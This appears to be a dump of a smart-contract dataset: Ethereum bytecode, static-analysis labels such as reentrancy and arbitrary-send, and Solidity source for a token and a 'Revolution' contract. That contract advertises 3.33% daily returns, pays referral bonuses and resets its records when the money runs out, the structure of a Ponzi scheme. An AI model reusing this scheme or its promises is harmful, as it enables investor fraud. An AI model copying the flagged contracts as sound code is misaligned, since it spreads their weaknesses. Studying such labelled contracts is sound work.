1239b60008301856120df565b6123a86020830184612324565b9392505050565b600060c0820190506123c460008301896120df565b6123d16020830188612324565b6123de604083018761215b565b6123eb606083018661215b565b6123f860808301856120df565b61240560a0830184612324565b979650505050505050565b6000602082019050612425600083018461214c565b92915050565b60006020820190508181036000830152612445818461216a565b905092915050565b60006020820190508181036000830152612466816121a3565b9050919050565b60006020820190508181036000830152612486816121c6565b9050919050565b600060208201905081810360008301526124a6816121e9565b9050919050565b600060208201905081810360008301526124c68161220c565b9050919050565b600060208201905081810360008301526124e68161222f565b9050919050565b6000602082019050818103600083015261250681612252565b9050919050565b6000602082019050818103600083015261252681612275565b9050919050565b6000602082019050818103600083015261254681612298565b9050919050565b60006020820190508181036000830152612566816122bb565b9050919050565b60006020820190508181036000830152612586816122de565b9050919050565b600060208201905081810360008301526125a681612301565b9050919050565b60006020820190506125c26000830184612324565b92915050565b600060a0820190506125dd6000830188612324565b6125ea602083018761215b565b81810360408301526125fc81866120ee565b905061260b60608301856120df565b6126186080830184612324565b9695505050505050565b60006020820190506126376000830184612333565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061269d826127e5565b91506126a8836127e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126dd576126dc612841565b5b828201905092915050565b60006126f3826127e5565b91506126fe836127e5565b92508261270e5761270d612870565b5b828204905092915050565b6000612724826127e5565b915061272f836127e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276857612767612841565b5b828202905092915050565b600061277e826127e5565b9150612789836127e5565b92508282101561279c5761279b612841565b5b828203905092915050565b60006127b2826127c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612807826127e5565b9050919050565b60005b8381101561282c578082015181840152602081019050612811565b8381111561283b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612be9816127a7565b8114612bf457600080fd5b50565b612c00816127b9565b8114612c0b57600080fd5b50565b612c17816127e5565b8114612c2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d48cd1c9c738e246d7c07718fe6686f4ab5102e4b10e6717872c3f3318900d1c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,087
0x728ac39658e5761dd32c17dcde01b7530c73d256
/** *Submitted for verification at Etherscan.io on 2021-03-23 */ pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC677 is ERC20 { function transferAndCall(address to, uint value, bytes data) returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC677Receiver { function onTokenTransfer(address _sender, uint _value, bytes _data); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC677Token is ERC677 { /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes _data) public returns (bool success) { super.transfer(_to, _value); Transfer(msg.sender, _to, _value, _data); if (isContract(_to)) { contractFallback(_to, _value, _data); } return true; } // PRIVATE function contractFallback(address _to, uint _value, bytes _data) private { ERC677Receiver receiver = ERC677Receiver(_to); receiver.onTokenTransfer(msg.sender, _value, _data); } function isContract(address _addr) private returns (bool hasCode) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } } contract BitScoresToken is StandardToken, ERC677Token { uint public constant totalSupply = 500000000000000000000000000; string public constant name = 'BitScores Token'; uint8 public constant decimals = 18; string public constant symbol = 'BIT'; function BitScoresToken() public { balances[msg.sender] = totalSupply; } /** * @dev transfer token to a specified address with additional data if the recipient is a contract. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes _data) public validRecipient(_to) returns (bool success) { return super.transferAndCall(_to, _value, _data); } /** * @dev transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public validRecipient(_to) returns (bool success) { return super.transfer(_to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public validRecipient(_spender) returns (bool) { return super.approve(_spender, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validRecipient(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } modifier validRecipient(address _recipient) { require(_recipient != address(0) && _recipient != address(this)); _; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d15780634000aea0146101fc578063661884631461026557806370a082311461028957806395d89b41146102aa578063a9059cbb146102bf578063d73dd623146102e3578063dd62ed3e14610307575b600080fd5b3480156100ca57600080fd5b506100d361032e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610365565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103a6565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103b6565b3480156101dd57600080fd5b506101e66103f9565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103fe9650505050505050565b34801561027157600080fd5b5061016c600160a060020a0360043516602435610438565b34801561029557600080fd5b50610195600160a060020a0360043516610528565b3480156102b657600080fd5b506100d3610543565b3480156102cb57600080fd5b5061016c600160a060020a036004351660243561057a565b3480156102ef57600080fd5b5061016c600160a060020a03600435166024356105b3565b34801561031357600080fd5b50610195600160a060020a036004358116906024351661064c565b60408051808201909152600f81527f42697453636f72657320546f6b656e0000000000000000000000000000000000602082015281565b600082600160a060020a038116158015906103895750600160a060020a0381163014155b151561039457600080fd5b61039e8484610677565b949350505050565b6b019d971e4fe8401e7400000081565b600082600160a060020a038116158015906103da5750600160a060020a0381163014155b15156103e557600080fd5b6103f08585856106dd565b95945050505050565b601281565b600083600160a060020a038116158015906104225750600160a060020a0381163014155b151561042d57600080fd5b6103f08585856107e9565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561048d57336000908152600260209081526040808320600160a060020a03881684529091528120556104c2565b61049d818463ffffffff6108ce16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600381527f4249540000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a0381161580159061059e5750600160a060020a0381163014155b15156105a957600080fd5b61039e84846108e0565b336000908152600260209081526040808320600160a060020a03861684529091528120546105e7908363ffffffff61099016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a0383166000818152600260209081526040808320338452825280832054938352600190915281205490919061071f908463ffffffff6108ce16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610754908463ffffffff61099016565b600160a060020a03851660009081526001602052604090205561077d818463ffffffff6108ce16565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b60006107f584846108e0565b5083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610870578181015183820152602001610858565b50505050905090810190601f16801561089d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36108b4846109a6565b156108c4576108c48484846109ae565b5060019392505050565b6000828211156108da57fe5b50900390565b33600090815260016020526040812054610900908363ffffffff6108ce16565b3360009081526001602052604080822092909255600160a060020a03851681522054610932908363ffffffff61099016565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008282018381101561099f57fe5b9392505050565b6000903b1190565b6040517fa4c0ed360000000000000000000000000000000000000000000000000000000081523360048201818152602483018590526060604484019081528451606485015284518794600160a060020a0386169463a4c0ed369490938993899360840190602085019080838360005b83811015610a35578181015183820152602001610a1d565b50505050905090810190601f168015610a625780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610a8357600080fd5b505af1158015610a97573d6000803e3d6000fd5b50505050505050505600a165627a7a723058208249a473604c27e5c00c2727a7d9369448a60a5a6c1495e60b56109bc76b8ce00029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
3,088
0xd85380aca00e6115b046b4edb488b53c531cb852
pragma solidity ^0.4.23; /** * - Full clone V2, restart * - Call it greed.. Or not * - GAIN 3,33% PER 24 HOURS (every 5900 blocks) * - Life-long payments * - The revolutionary reliability * - Minimal contribution 0.01 eth * - Currency and payment - ETH * - Contribution allocation schemes: * -- 83% payments * -- 17% Marketing + Operating Expenses * RECOMMENDED GAS LIMIT: 200000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ */ contract InvestorsStorage { struct investor { uint keyIndex; uint value; uint paymentTime; uint refBonus; } struct itmap { mapping(address => investor) data; address[] keys; } itmap private s; address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; s.keys.length++; } function insert(address addr, uint value) public onlyOwner returns (bool) { uint keyIndex = s.data[addr].keyIndex; if (keyIndex != 0) return false; s.data[addr].value = value; keyIndex = s.keys.length++; s.data[addr].keyIndex = keyIndex; s.keys[keyIndex] = addr; return true; } function investorFullInfo(address addr) public view returns(uint, uint, uint, uint) { return ( s.data[addr].keyIndex, s.data[addr].value, s.data[addr].paymentTime, s.data[addr].refBonus ); } function investorBaseInfo(address addr) public view returns(uint, uint, uint) { return ( s.data[addr].value, s.data[addr].paymentTime, s.data[addr].refBonus ); } function investorShortInfo(address addr) public view returns(uint, uint) { return ( s.data[addr].value, s.data[addr].refBonus ); } function addRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) { if (s.data[addr].keyIndex == 0) return false; s.data[addr].refBonus += refBonus; return true; } function addValue(address addr, uint value) public onlyOwner returns (bool) { if (s.data[addr].keyIndex == 0) return false; s.data[addr].value += value; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (s.data[addr].keyIndex == 0) return false; s.data[addr].paymentTime = paymentTime; return true; } function setRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) { if (s.data[addr].keyIndex == 0) return false; s.data[addr].refBonus = refBonus; return true; } function keyFromIndex(uint i) public view returns (address) { return s.keys[i]; } function contains(address addr) public view returns (bool) { return s.data[addr].keyIndex > 0; } function size() public view returns (uint) { return s.keys.length; } function iterStart() public pure returns (uint) { return 1; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Percent { // Solidity automatically throws when dividing by 0 struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) return 0; return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } } contract Accessibility { enum AccessRank { None, Payout, Paymode, Full } mapping(address => AccessRank) internal m_admins; modifier onlyAdmin(AccessRank r) { require( m_admins[msg.sender] == r || m_admins[msg.sender] == AccessRank.Full, "access denied" ); _; } event LogProvideAccess(address indexed whom, uint when, AccessRank rank); constructor() public { m_admins[msg.sender] = AccessRank.Full; emit LogProvideAccess(msg.sender, now, AccessRank.Full); } function provideAccess(address addr, AccessRank rank) public onlyAdmin(AccessRank.Full) { require(rank <= AccessRank.Full, "invalid access rank"); require(m_admins[addr] != AccessRank.Full, "cannot change full access rank"); if (m_admins[addr] != rank) { m_admins[addr] = rank; emit LogProvideAccess(addr, now, rank); } } function access(address addr) public view returns(AccessRank rank) { rank = m_admins[addr]; } } contract PaymentSystem { // https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls enum Paymode { Push, Pull } struct PaySys { uint latestTime; uint latestKeyIndex; Paymode mode; } PaySys internal m_paysys; modifier atPaymode(Paymode mode) { require(m_paysys.mode == mode, "pay mode does not the same"); _; } event LogPaymodeChanged(uint when, Paymode indexed mode); function paymode() public view returns(Paymode mode) { mode = m_paysys.mode; } function changePaymode(Paymode mode) internal { require(mode <= Paymode.Pull, "invalid pay mode"); if (mode == m_paysys.mode ) return; if (mode == Paymode.Pull) require(m_paysys.latestTime != 0, "cannot set pull pay mode if latest time is 0"); if (mode == Paymode.Push) m_paysys.latestTime = 0; m_paysys.mode = mode; emit LogPaymodeChanged(now, m_paysys.mode); } } library Zero { function requireNotZero(uint a) internal pure { require(a != 0, "require not zero"); } function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } } library ToAddress { function toAddr(uint source) internal pure returns(address) { return address(source); } function toAddr(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } } contract Revolution is Accessibility, PaymentSystem { using Percent for Percent.percent; using SafeMath for uint; using Zero for *; using ToAddress for *; // investors storage - iterable map; InvestorsStorage private m_investors; mapping(address => bool) private m_referrals; bool private m_nextWave; // automatically generates getters address public adminAddr; address public payerAddr; uint public waveStartup; uint public investmentsNum; uint public constant minInvesment = 50 finney; // 0.05 eth uint public constant maxBalance = 333e5 ether; // 33,300,000 eth uint public constant pauseOnNextWave = 168 hours; // percents Percent.percent private m_dividendsPercent = Percent.percent(333, 10000); // 333/10000*100% = 3.33% Percent.percent private m_adminPercent = Percent.percent(1, 10); // 1/10*100% = 10% Percent.percent private m_payerPercent = Percent.percent(7, 100); // 7/100*100% = 7% Percent.percent private m_refPercent = Percent.percent(3, 100); // 3/100*100% = 3% // more events for easy read from blockchain event LogNewInvestor(address indexed addr, uint when, uint value); event LogNewInvesment(address indexed addr, uint when, uint value); event LogNewReferral(address indexed addr, uint when, uint value); event LogPayDividends(address indexed addr, uint when, uint value); event LogPayReferrerBonus(address indexed addr, uint when, uint value); event LogBalanceChanged(uint when, uint balance); event LogAdminAddrChanged(address indexed addr, uint when); event LogPayerAddrChanged(address indexed addr, uint when); event LogNextWave(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notOnPause() { require(waveStartup+pauseOnNextWave <= now, "pause on next wave not expired"); _; } constructor() public { adminAddr = msg.sender; emit LogAdminAddrChanged(msg.sender, now); payerAddr = msg.sender; emit LogPayerAddrChanged(msg.sender, now); nextWave(); waveStartup = waveStartup.sub(pauseOnNextWave); } function() public payable { // investor get him dividends if (msg.value == 0) { getMyDividends(); return; } // sender do invest address a = msg.data.toAddr(); address[3] memory refs; if (a.notZero()) { refs[0] = a; doInvest(refs); } else { doInvest(refs); } } function investorsNumber() public view returns(uint) { return m_investors.size()-1; // -1 because see InvestorsStorage constructor where keys.length++ } function balanceETH() public view returns(uint) { return address(this).balance; } function payerPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_payerPercent.num, m_payerPercent.den); } function dividendsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_dividendsPercent.num, m_dividendsPercent.den); } function adminPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminPercent.num, m_adminPercent.den); } function referrerPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_refPercent.num, m_refPercent.den); } function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refBonus, bool isReferral) { (value, paymentTime, refBonus) = m_investors.investorBaseInfo(addr); isReferral = m_referrals[addr]; } function latestPayout() public view returns(uint timestamp) { return m_paysys.latestTime; } function getMyDividends() public notOnPause atPaymode(Paymode.Pull) balanceChanged { // check investor info InvestorsStorage.investor memory investor = getMemInvestor(msg.sender); require(investor.keyIndex > 0, "sender is not investor"); if (investor.paymentTime < m_paysys.latestTime) { assert(m_investors.setPaymentTime(msg.sender, m_paysys.latestTime)); investor.paymentTime = m_paysys.latestTime; } // calculate days after latest payment uint256 daysAfter = now.sub(investor.paymentTime).div(24 hours); require(daysAfter > 0, "the latest payment was earlier than 24 hours"); assert(m_investors.setPaymentTime(msg.sender, now)); // check enough eth uint value = m_dividendsPercent.mul(investor.value) * daysAfter; if (address(this).balance < value + investor.refBonus) { nextWave(); return; } // send dividends and ref bonus if (investor.refBonus > 0) { assert(m_investors.setRefBonus(msg.sender, 0)); sendDividendsWithRefBonus(msg.sender, value, investor.refBonus); } else { sendDividends(msg.sender, value); } } function doInvest(address[3] refs) public payable notOnPause balanceChanged { require(msg.value >= minInvesment, "msg.value must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); uint value = msg.value; // ref system works only once for sender-referral if (!m_referrals[msg.sender]) { // level 1 if (notZeroNotSender(refs[0]) && m_investors.contains(refs[0])) { uint reward = m_refPercent.mul(value); assert(m_investors.addRefBonus(refs[0], reward)); // referrer 1 bonus m_referrals[msg.sender] = true; value = m_dividendsPercent.add(value); // referral bonus emit LogNewReferral(msg.sender, now, value); // level 2 if (notZeroNotSender(refs[1]) && m_investors.contains(refs[1]) && refs[0] != refs[1]) { assert(m_investors.addRefBonus(refs[1], reward)); // referrer 2 bonus // level 3 if (notZeroNotSender(refs[2]) && m_investors.contains(refs[2]) && refs[0] != refs[2] && refs[1] != refs[2]) { assert(m_investors.addRefBonus(refs[2], reward)); // referrer 3 bonus } } } } // commission adminAddr.transfer(m_adminPercent.mul(msg.value)); payerAddr.transfer(m_payerPercent.mul(msg.value)); // write to investors storage if (m_investors.contains(msg.sender)) { assert(m_investors.addValue(msg.sender, value)); } else { assert(m_investors.insert(msg.sender, value)); emit LogNewInvestor(msg.sender, now, value); } if (m_paysys.mode == Paymode.Pull) assert(m_investors.setPaymentTime(msg.sender, now)); emit LogNewInvesment(msg.sender, now, value); investmentsNum++; } function payout() public notOnPause onlyAdmin(AccessRank.Payout) atPaymode(Paymode.Push) balanceChanged { if (m_nextWave) { nextWave(); return; } // if m_paysys.latestKeyIndex == m_investors.iterStart() then payout NOT in process and we must check latest time of payment. if (m_paysys.latestKeyIndex == m_investors.iterStart()) { require(now>m_paysys.latestTime+12 hours, "the latest payment was earlier than 12 hours"); m_paysys.latestTime = now; } uint i = m_paysys.latestKeyIndex; uint value; uint refBonus; uint size = m_investors.size(); address investorAddr; // gasleft and latest key index - prevent gas block limit for (i; i < size && gasleft() > 50000; i++) { investorAddr = m_investors.keyFromIndex(i); (value, refBonus) = m_investors.investorShortInfo(investorAddr); value = m_dividendsPercent.mul(value); if (address(this).balance < value + refBonus) { m_nextWave = true; break; } if (refBonus > 0) { require(m_investors.setRefBonus(investorAddr, 0), "internal error"); sendDividendsWithRefBonus(investorAddr, value, refBonus); continue; } sendDividends(investorAddr, value); } if (i == size) m_paysys.latestKeyIndex = m_investors.iterStart(); else m_paysys.latestKeyIndex = i; } function setAdminAddr(address addr) public onlyAdmin(AccessRank.Full) { addr.requireNotZero(); if (adminAddr != addr) { adminAddr = addr; emit LogAdminAddrChanged(addr, now); } } function setPayerAddr(address addr) public onlyAdmin(AccessRank.Full) { addr.requireNotZero(); if (payerAddr != addr) { payerAddr = addr; emit LogPayerAddrChanged(addr, now); } } function setPullPaymode() public onlyAdmin(AccessRank.Paymode) atPaymode(Paymode.Push) { changePaymode(Paymode.Pull); } function getMemInvestor(address addr) internal view returns(InvestorsStorage.investor) { (uint a, uint b, uint c, uint d) = m_investors.investorFullInfo(addr); return InvestorsStorage.investor(a, b, c, d); } function notZeroNotSender(address addr) internal view returns(bool) { return addr.notZero() && addr != msg.sender; } function sendDividends(address addr, uint value) private { if (addr.send(value)) emit LogPayDividends(addr, now, value); } function sendDividendsWithRefBonus(address addr, uint value, uint refBonus) private { if (addr.send(value+refBonus)) { emit LogPayDividends(addr, now, value); emit LogPayReferrerBonus(addr, now, refBonus); } } function nextWave() private { m_investors = new InvestorsStorage(); changePaymode(Paymode.Push); m_paysys.latestKeyIndex = m_investors.iterStart(); investmentsNum = 0; waveStartup = now; m_nextWave = false; emit LogNextWave(now); } }
0x6080604052600436106101245763ffffffff60e060020a600035041663110dc7a681146101b75780631680eb4e146101ef5780632b82aed6146102165780633d7ac9f81461023757806341a28df61461024c578063636d98b11461026d57806363bd1d4a1461029b578063653c3174146102b05780636fae3d76146102c557806373ad468a1461030a578063816f56171461031f5780638183059314610334578063922a842514610365578063a4d6bb2b1461038a578063bb41f4211461039f578063c0dab516146103b4578063d50030ad146103c9578063d70d532b146103de578063dbcbaca414610405578063dcc7094a1461044e578063eafecc7a14610463578063ecbdbb3214610478578063f2c0cdbe1461048d578063fc043cad146104a2575b600061012e612781565b3415156101425761013d6104b7565b6101b3565b61017c6000368080601f0160208091040260200160405190810160405280939291908181526020018383808284375061093e945050505050565b915061019082600160a060020a0316610945565b156101aa57600160a060020a038216815261013d81610953565b6101b381610953565b5050005b6040805160608181019092526101ed91369160049160649190839060039083908390808284375093965061095395505050505050565b005b3480156101fb57600080fd5b5061020461136a565b60408051918252519081900360200190f35b34801561022257600080fd5b506101ed600160a060020a0360043516611370565b34801561024357600080fd5b50610204611489565b34801561025857600080fd5b506101ed600160a060020a0360043516611494565b34801561027957600080fd5b506102826115b9565b6040805192835260208301919091528051918290030190f35b3480156102a757600080fd5b506101ed6115c3565b3480156102bc57600080fd5b50610204611c69565b3480156102d157600080fd5b506102e6600160a060020a0360043516611cfa565b604051808260038111156102f657fe5b60ff16815260200191505060405180910390f35b34801561031657600080fd5b50610204611d18565b34801561032b57600080fd5b50610204611d27565b34801561034057600080fd5b50610349611d2e565b60408051600160a060020a039092168252519081900360200190f35b34801561037157600080fd5b5061037a611d42565b604051808260018111156102f657fe5b34801561039657600080fd5b50610204611d4b565b3480156103ab57600080fd5b50610282611d51565b3480156103c057600080fd5b50610282611d5b565b3480156103d557600080fd5b506101ed6104b7565b3480156103ea57600080fd5b506101ed600160a060020a036004351660ff60243516611d65565b34801561041157600080fd5b50610426600160a060020a0360043516611f9f565b6040805194855260208501939093528383019190915215156060830152519081900360800190f35b34801561045a57600080fd5b50610349612077565b34801561046f57600080fd5b50610204612086565b34801561048457600080fd5b5061020461208c565b34801561049957600080fd5b50610282612091565b3480156104ae57600080fd5b506101ed61209b565b6104bf6127a0565b6000804262093a806008540111151515610523576040805160e560020a62461bcd02815260206004820152601e60248201527f7061757365206f6e206e6578742077617665206e6f7420657870697265640000604482015290519081900360640190fd5b60018060035460ff16600181111561053757fe5b1461058c576040805160e560020a6